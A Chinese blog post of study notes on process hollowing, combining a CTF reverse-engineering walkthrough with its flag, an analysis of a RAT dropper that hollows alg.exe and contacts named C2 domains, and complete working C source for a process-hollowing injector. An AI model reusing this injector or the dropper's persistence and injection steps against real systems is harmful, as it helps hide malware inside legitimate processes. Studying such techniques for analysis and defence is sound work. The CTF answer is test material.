傀儡进程学习

浪子不回头ぞ 提交于 2020-10-09 00:19:58

0x00 前言

 最近做了一道18年swpuctf的题,分析了一个病毒,正巧都用到了傀儡进程,就想着把傀儡进程学习一下。本文权当个人的学习总结了一些网上的文章,如有错误,还请路过的大佬斧正。

0x01 SWPUCTF -- GAME

进入main函数

先获取当前目录,再拼上GAME.EXE

进入sub_4011D0

首先寻找资源,做准备工作,进入sub_4012C0

 

1)检测PE结构

2) CreateProcessA 创建进程

3)GetThreadContext 得到进程上下文信息,用于下文计算基地址

4)sub_4016F0

到ntdll.dll里找到NtUnmapViewOfSection函数

5)VirtualAllocEx 跨进程,在目标进程申请空间

6)写入文件

7)SetThreadContext 恢复现场

8) 运行傀儡进程

 

我们来找找注入的程序

把GAME.EXE载入到010editor里,搜索"MZ"

dump出来,就是刚刚注入到傀儡进程的程序了。

我们把它命名为 game2.exe

载到IDA里分析

发现是D3D绘制

之后的解题与本文关系不大,这里直接把官方的WP搬运来了https://www.anquanke.com/post/id/168338#h3-16

 

通过字符串[Enter]可以跟踪到获取输入以及返回上一层的地

 

这里用了’ – ’符来分割string,然后保存到vector中。并且判断vector中string的个数是否是4以及每一个string的长度是否是4 

 

接着传入前面两部分进行一次加密,可以根据常量识别出这是DES算法,这里把DES的subkeys进行了一次移位,并且修改了sbox3开头的5个字节,然后把结尾结果减去0x10,之后再进行一个简单的方程check。解方程可以得到另外两部分是个常量。

DES部分可以网上找个标准的DES把这几部分改一下就能解出FLAG:HOPE-UCAN-GOOD-GAME

 小结

本题的sub_4012C0,就是在进行傀儡进程的编写,有必要仔细的说说傀儡进程

 

 0x02 傀儡进程

文章: https://blog.csdn.net/darcy_123/article/details/102532411

 首先使用CreateProcess传入CREATE_SUSPENDED

创建一个挂起的进程,以下称为傀儡进程,然后使用GetThreadContext读取傀儡进程的上下文信息,通过DWORD

指针指向CONTEXT的EBX,DWORD + 8 字节可以读取到傀儡进程的基地址,然后计算傀儡进程的镜像大小

然后把自己的数据读入到傀儡进程内,设置CONTEXT上下文入口点信息EAX,并恢复进程主线程

 上文已经写得很详细了,个人觉得重要的点

1)在CreateProcess时,注意环境问题 lpCurrentDirectory

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

2) 计算基地址

context.Ebx + 8 = 基地址,因此从context.Ebx + 8的地址读取4字节的内容并转化为DWORD类型,即是进程加载的基地址。 

3) VirtualAllocEx时的权限问题

4)VirtualAllocEx重定位的问题

一般情况下,在写入傀儡进程对应的文件按照申请空间的首地址作为基地址进行“重定位”,这样才能保证傀儡进程的正常运行。为了避免这一步操作,可以以傀儡进程PE文件头部的建议加载基地址作为VirtualAllocEx的lpAddress参数,申请与之对应的内存空间,然后以此地址作为基地址将傀儡进程写入目标程序,就不会存在重定位问题。关于“重定位”的原理可以自行网络查找相关资料

 我们来看看实际上病毒用到的傀儡进程

 

0x03 病毒分析

 

 1.virusTotal

https://www.virustotal.com/gui/file/32db88982a0d0f92804c4c53ffd8555935871e23b35a9d362e037353cb6b44c5/details

MD5    ba46b18f05ab2b24df26e343dd32946b
SHA-1    34f07e131d4f147af96d262eee761582c6f0b1a4
SHA-256    32db88982a0d0f92804c4c53ffd8555935871e23b35a9d362e037353cb6b44c5
Vhash    bf09954b6ff12217cd0df0f93c7488e4
SSDEEP    24576:yij8jlUoiuFhypnWmUOJ4H0zMY/lspoBbRzRrT9MUF5jawb:yDhUoMFUcvo6FlrT2wb
File type    RAR
Magic    RAR archive data, v1d, os: Win32
File size    893.13 KB (914570 bytes)






 环境win7 x64

是一个.rar文件

在虚拟机里改后缀为.rar

解压:

 

 可以简单的发现一个伪装成文件夹的.exe

2.对18XXXXXXXXXXXX.exe分析

查壳

没有

 然后GUI,有界面的程序

用LoadPE去看一下区段,资源等信息

看一下重定位

和资源

关注一下导入表

    0x0311       "WriteFile"
    0x0038       "CreateFileA"
    0x005F       "DeleteFileA"
    0x0240       "ReadFile"
    0x0128       "GetFileSize"
    0x020D       "OpenFile"
    0x0298       "SetFilePointer"
    0x0048       "CreateProcessA
    0x002B       "CopyFileA"
    0x00CC       "GetACP"

可能会新建新的文件

IDA详细分析

先搜字符串

pavfnsvr.exe

sfctlcom.exe

后来看别人的分析,这两个文件是安全程序

IDA开始分析

开始时,一些准备工作,之后检测版本号

申请堆,

释放后,把申请的堆的句柄,放到40E968的位置

调用4057AE

检测文件的PE结构

主要是检测PE结构,然后验证目录项要比14项多

之后回到start函数 sub_40624F

检测的就是下图红框圈出来的那两个

 之后:

 

 与SEH的高级使用有关

 

通过GetCommandLineA获取当前文件的路径

"C:\Users\Administrator\Desktop\bingdu\1\bingdu\1\18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.EXE" 的地址存到了410268(00271F50)

sub_408D2C函数获取环境信息

 

获取"ALLUSERSPROFILE=C:\ProgramData",

在将宽字符转成多字节

之后进入

 

V13为0x271fa6  ..(\洳..C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.;的指针

V6为10

 进入函数:

 

首先会获取当前进程已加载模块的文件的完整路径

然后加载到缓冲区

把当前的目录传入402120

进入402120

 会调用两次401450

看一下401450

 rep stosd:

在网上查了相关资料显示:

/************************************************************/

lea     edi,[ebp-0C0h]

mov     ecx,30h

mov     eax,0CCCCCCCCh

rep stos dword ptr es:[edi]

rep指令的目的是重复其上面的指令.ECX的值是重复的次数.

STOS指令的作用是将eax中的值拷贝到ES:EDI指向的地址.

 

首先获取当前的路径

打开文件读取

 

 

 获取windows的目录

在源目录生成.bak文件

生成文件夹

把文件备份到"C:\Windows\Help\18xxxxxxxxxxxxxxxxxxxxxxxxxxxxx.bak"

在把原来的.bak删除

进入402680 

 

首先找到生成的空文件夹

 在内存里读取文件 1.jpg

将1.jpg和.archd作为参数进入4046A0 

 

拼出路径

将j.jpg换成1.liz

 

按照路径写入文件,再将1.liz换成1.jpg

循环7次生成7张图片

 第8次,生成Thumbs.db文件

  

 之后把C:/Windows/Help里的备份删除

 

 

 进入第二个401450

先找到程序获取临时目录文件路径

然后拼出路径

"C:\Users\ADMINI~1\AppData\Local\Temp\\rat.EXE"

 

如果存在直接打开,不存在就创建

 之后createprocess

 创建进程,运行rat.EXE

 

 先拼出来byeyou.tmp的路径

 

之后 遍历所有进程,保证没有sftlcom.exe与pavfnsur.exe

 

 把原文件(18XXXX.EXE)移动到byeyou.tmp

 

分析 rat.exe

 

 没有壳

 

自启动(嫖的图)

 

 注册表相关(嫖的图)

去找ctfmon.exe的目录

拼路径 将rat.exe  copy成ctfmon.exe

之后寻找资源

 拼出"C:\Windows\system32\alg.exe"

作为参数扔到sub_4016D0运行

进入傀儡进程函数

 

创建挂起进程 && 保存现场,收集信息

 之后像上述ctf一样找到注入到傀儡进程的.exe

 Dump出来起名为abc.def

分析 abc.def

看一下字符串

进入WinMain函数

首先进入sub_405BD0

先解密字符串从advapt32.dl,调用需要的函数 

提权

之后进入 sub_401720解密接下来需要的字符串

 

回到WinMain

从KERNEL32.DLL找需要的函数

 

之后进入sub_405960

 

 进入远控函数

 

首先登入一个网站

 

 保存返回的数据

 

 之后就没办法动调了

 把返回的数据按照自己定义的字符切割

 进入405DB0函数,依旧是解密

 接着分配套接口,连上

 

进入403190

 开始从.Dll里提取需要的函数

 

1.

 

2.

 

3.

 

4.

5&6

 之后传入域名参数

 

 

 获得本机的ip

 能不能ping得通

 

检测系统版本

 

 CPU信息

 

 操作系统版本

获取磁盘信息

对文件操作

创建,读

 删除,重命名

 

移动

复制

列出进程 &&杀死进程

 卸载

 

关机重启 

 

 截屏

 接着还会在传入其他的两个域名

 cn.fetftp.nu  "rt.softseek.org"

 

进入403190控制函数

 0x04 代码实现

https://blog.csdn.net/superchickenchicken/article/details/102552787?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-6.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-6.nonecase

稍微修改了点去做别的用了

#include<stdio.h>
#include<windows.h>
#include<winbase.h>
struct _PROCESS_INFORMATION ProcessInfomation;


int main()
{
	LPVOID pAlloc1;
	LPVOID pAlloc2;
	HANDLE hfile;
	PIMAGE_NT_HEADERS pPeHeader;
	PIMAGE_SECTION_HEADER pSectionHeader;
	int lastError, ReadInfo = 0;
	DWORD BytesRead = 0;
	CONTEXT Context = { 0 };
	Context.ContextFlags = CONTEXT_ALL;
	char lpName[260];
	//准备路径
	char Patch[] = "C:\\play.exe";//注入傀儡进程的.exe的路径
	LPCSTR p = (const char*)Patch;
	//转移文件


	//以挂起的方式创建傀儡进程,并获取进程基址
	STARTUPINFOA StartupInfo = { 0 };
	PROCESS_INFORMATION ProcessInfomation = { 0 };
	StartupInfo.cb = sizeof(StartupInfo);

	GetModuleFileName(0, lpName, 520);
	if (!CreateProcess(lpName, NULL, 0, 0, 0, CREATE_SUSPENDED, 0, 0, &StartupInfo, &ProcessInfomation))。
	{
		lastError = GetLastError();
		printf("CreateProcess fail  LastError:%d\n", lastError);
	};

	if (!GetThreadContext(ProcessInfomation.hThread, &Context))
	{
		lastError = GetLastError();
		printf("GetThreadContext fail LastError:%d\n", lastError);
	};

	if (!ReadProcessMemory(ProcessInfomation.hProcess, (LPCVOID)(Context.Ebx + 0x8), &ReadInfo, 4, 0))
	{
		lastError = GetLastError();
		printf("GetProcessImageBase fail LastError:%d\n", lastError);
		//printf("%d\n", dwIO);
	};
	printf("ProcessImageBase:address 0x%x\n", ReadInfo);

	
	// 把准备注入到傀儡进程的程序读进内存
	hfile = CreateFileA(p, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
	//lastError = GetLastError();
	//printf("%d\n", lastError);

	pAlloc1 = VirtualAlloc(NULL, 0x70000, 0x3000, 4);//sucessful
	//printf("%d", pAlloc1);
	ReadFile(hfile, pAlloc1, 0x70000, &BytesRead, 0);

	pPeHeader = (PIMAGE_NT_HEADERS)((PBYTE)pAlloc1 + ((PIMAGE_DOS_HEADER)pAlloc1)->e_lfanew);//sucessful
	//printf("%d", pPeHeader);
	pSectionHeader = (IMAGE_SECTION_HEADER*)((char*)&pPeHeader->OptionalHeader + pPeHeader->FileHeader.SizeOfOptionalHeader);//sucessful
	//printf("%d", pSectionHeader);
	//向傀儡进程申请内存空间
	SetLastError(0);
	pAlloc2 = VirtualAllocEx(ProcessInfomation.hProcess, (LPVOID)pPeHeader->OptionalHeader.ImageBase, pPeHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, 64);
	//printf("%d\n", pAlloc2);
	if (!pAlloc2)
	{
		lastError = GetLastError();
		printf("VirtualAllocEx fail LastError:%d\n", lastError);
		TerminateProcess(ProcessInfomation.hProcess, 0);
		return 0;

	}
	printf("AllocExBase: %x\n", pAlloc2);

	//写入PE头
	if (WriteProcessMemory(ProcessInfomation.hProcess, pAlloc2, pAlloc1, pPeHeader->OptionalHeader.SizeOfHeaders, 0))
	{
		printf("write PeHeader Success !\n");
	}


	//写入节表,分节表写入会使得程序展开在进程中
	int NumofSection = pPeHeader->FileHeader.NumberOfSections;
	for (int i = 0;i < NumofSection;i++)
	{
		LPVOID pAllocRawAddressSection = (char*)pAlloc1 + pSectionHeader->PointerToRawData;
		LPVOID pAllocVirtualAddressSection = (char*)pPeHeader->OptionalHeader.ImageBase + pSectionHeader->VirtualAddress;
		if (WriteProcessMemory(ProcessInfomation.hProcess, pAllocVirtualAddressSection, pAllocRawAddressSection, pSectionHeader->SizeOfRawData, 0))
		{
			printf("write the %d section success !\n", i + 1);
		}
		else
		{
			lastError = GetLastError();
			printf("write the %d section fail ! lastError:%d\n", i + 1, lastError);
		}
		pSectionHeader++;
	}

	//设置傀儡进程的进程基址0x400000
	if (WriteProcessMemory(ProcessInfomation.hProcess, (char*)Context.Ebx + 8, &pPeHeader->OptionalHeader.ImageBase, 4, 0))
	{
		printf("set Process ImageBase is 0x400000  success !\n");
	}

	//设置傀儡进程的进程OEP 为注入程序的OEP
	Context.Eax = pPeHeader->OptionalHeader.ImageBase + pPeHeader->OptionalHeader.AddressOfEntryPoint;//设置入口点地址 一定别忘了加基址

	if (SetThreadContext(ProcessInfomation.hThread, &Context))
	{
		printf("set Thread Context success !\n");
	}

	//恢复线程运行

	if (ResumeThread(ProcessInfomation.hThread) != (DWORD)-1)
	{
		lastError = GetLastError();
		printf("Resume Thread success ! \n");
	}


	system("pause");
	return 0;
}

0x04总结

emmmm不知道说啥,溜了

 

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!